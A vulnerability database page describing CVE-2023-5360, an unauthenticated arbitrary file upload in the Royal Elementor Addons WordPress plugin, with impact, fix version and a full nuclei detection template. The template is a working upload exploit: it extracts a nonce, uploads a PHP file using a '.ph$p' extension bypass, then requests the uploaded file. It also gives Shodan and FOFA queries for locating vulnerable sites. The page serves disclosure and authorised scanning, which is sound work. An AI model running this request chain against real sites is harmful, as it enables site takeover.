HexBrain

Browse / CVEs / CVE-2023-5360

CVE-2023-5360· royal-elementor-addons / royal elementor addons· CWE-434

WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload

criticalseverity
9.8CVSS score
86.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79

Impact

Unauthenticated attackers can upload arbitrary files including PHP backdoors to gain complete control of the WordPress site.

Fix

Fixed in 1.3.79

How to confirm it

Send: GET / ; POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file ; GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php
Positive when: contains in body_3 "{{md5(string)}}"

Run it with nuclei: nuclei -id CVE-2023-5360 -u <target>

The full check
id: CVE-2023-5360

info:
  name: WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP backdoors to gain complete control of the WordPress site.
  remediation: Fixed in 1.3.79
  reference:
    - https://wordpress.org/plugins/royal-elementor-addons/
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5360
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
    - http://packetstormsecurity.com/files/175992/WordPress-Royal-Elementor-Addons-And-Templates-Remote-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5360
    cwe-id: CWE-434
    epss-score: 0.86352
    epss-percentile: 0.99736
    cpe: cpe:2.3:a:royal-elementor-addons:royal_elementor_addons:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: royal-elementor-addons
    product: royal_elementor_addons
    framework: wordpress
    shodan-query: http.html:/plugins/royal-elementor-addons/
    fofa-query: body=/plugins/royal-elementor-addons/
    publicwww-query: "/plugins/royal-elementor-addons/"
  tags: wpscan,packetstorm,cve,cve2023,rce,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive,vkev,vuln
variables:
  file: "{{to_lower(rand_text_alpha(5))}}"
  string: "CVE-2023-5360"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------318949277012917151102295043236

        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="uploaded_file"; filename="{{file}}.ph$p"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="allowed_file_types"

        ph$p
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="triggering_event"

        click
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="wpr_addons_nonce"

        {{nonce}}
        -----------------------------318949277012917151102295043236--
      - |
        GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'WprConfig\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
        internal: true

      - type: regex
        name: filename
        part: body_2
        group: 1
        regex:
          - 'wp-content\\\/uploads\\\/wpr-addons\\\/forms\\\/(.*?).php'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from